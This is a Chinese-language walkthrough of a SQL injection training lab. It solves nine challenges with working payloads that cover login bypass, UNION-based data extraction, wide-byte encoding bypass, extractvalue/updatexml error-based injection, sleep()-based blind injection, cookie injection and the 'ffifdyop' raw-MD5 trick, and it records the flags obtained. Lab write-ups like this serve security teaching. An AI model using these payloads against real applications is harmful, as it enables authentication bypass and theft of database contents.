SQL注入攻击技术详解
1. 基础SQL注入
1.1 最简单的SQL注入
目标URL: http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
攻击方法:
- 查看源代码,发现登录名为
admin - 在登录名输入框中输入:
admin' or '1'='1 - 密码可随意填写
- 输入正确的验证码后登录
原理: 构造的SQL语句使条件永远为真,绕过认证。
结果: 获取flag: iamflagsafsfskdf11223
2. 基于联合查询的SQL注入
2.1 基本注入环境
目标URL: http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1
攻击步骤:
-
检测注入点:
?id=1 and 1=1(正常返回)?id=1 and 1=2(返回出错)
-
判断字段数:
?id=1 order by 3(正常返回,说明有3个字段)
-
确定回显点:
?id=-1 union select 1,2,3
-
获取数据库信息:
- 数据库名:
?id=-1 union select 1,2,database()→mydbs - 数据表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()→sae_user_sqli3 - 字段名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3→id,title,content - 字段内容:
?id=-1 union select 1,2,content from sae_user_sqli3
- 数据库名:
结果: 获取flag: HKGGflagdfs56757fsdv
3. 宽字节注入
3.1 防注入绕过
目标URL: http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php
攻击方法:
- 使用宽字节注入:
?id=1%df'成功报错 - 构造语句:
?id=1%df%27%20or%201=1%23验证注入点 - 获取数据:
?id=1%df%27%20or%201=1%20limit%202,1%23
完整注入流程:
- 确定字段数:
?id=1%df' order by 3 %23 - 确定显示位:
?id=1%df' union select 1,2,3 %23 - 获取数据库:
?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 - 获取列名:
?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23 - 获取字段内容:
?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
结果: 获取flag: Hsaagdfs56sdf7fsdv
4. 基于报错的注入
4.1 无回显注入
目标URL: http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
攻击方法:
- 使用
extractvalue函数进行报错注入 - 查询数据库名:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1 - 查询表名:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1 - 查询列名:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1 - 查询flag:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1
结果: 获取flag: myflagishere
5. 图片路径注入
5.1 图片后缀前的注入
目标URL: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg
攻击方法:
- 使用宽字节注入:
dog1%df'.jpg - 确定列数:
dog1%df%27 order by 4 %23.jpg - 确定回显位:
dog1%df%27 union select 1,2,3,4%23.jpg - 获取数据库信息:
- 数据库名:
dog1%df%27 union select 1,2,(select database()),4 %23.jpg - 表名:
dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg - 列名:
dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg
- 数据库名:
- 获取flag:
dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg
最终flag: 访问http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg获取IamflagIloveyou!
6. 基于错误的注入
6.1 ErrorBased注入
目标URL: http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin
攻击方法:
- 使用
updatexml函数进行报错注入 - 查询数据库名:
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20--%20q - 查询表名:
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20--%20q - 查询列名:
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='motto')),1)%20--%20q - 查询flag:
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20--%20q
结果: 获取flag: notfound!
7. 盲注技术
7.1 基于时间的盲注
目标URL: http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php
攻击方法:
- 判断数据库名长度:
%27+and%20sleep(if((length(database())=5),0,3))--%20q - 逐字符判断数据库名:
' and if(substr(database(),1,1)='m',0,sleep(3))-- q - 判断表名:
' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='l',0,sleep(3))-- q - 判断列名:
' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='motto' limit 0,1),1,1)='i',0,sleep(3))-- q - 获取数据:
' and if(substr((select id from motto limit 0,1),1,1)='0',0,sleep(3))-- q
结果: 获取flag: notfound!
8. Cookie注入
8.1 绕过GET/POST过滤
目标URL: http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1
攻击方法:
- 使用Burp Suite修改Cookie:
id=1 and 1=1(正常) vsid=1 and 1=2(错误) - 确定字段数:
id=1 order by 3 - 确定回显位:
id=1 union select 1,2,3 - 获取数据库信息:
- 数据库名:
id=1 union select 1,2,database() - 表名:
id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) - 列名:
id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8')
- 数据库名:
- 获取flag:
id=1 union select 1,2,password from sae_manager_sqli8
结果: 获取flag: IamFlagCookieInject!
9. MD5哈希注入
9.1 哈希后的密码注入
目标URL: http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
关键代码:
"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"
攻击方法:
- 使用特殊字符串
ffifdyop,其MD5哈希值(二进制格式)包含'or'结构 - Payload:
?userid=1&pwd=ffifdyop
原理: md5('ffifdyop',true)结果为'or'6É]™é!r,ùíb',使SQL条件变为永真
结果: 获取flag: FsdLAG67a6dajsdklsdf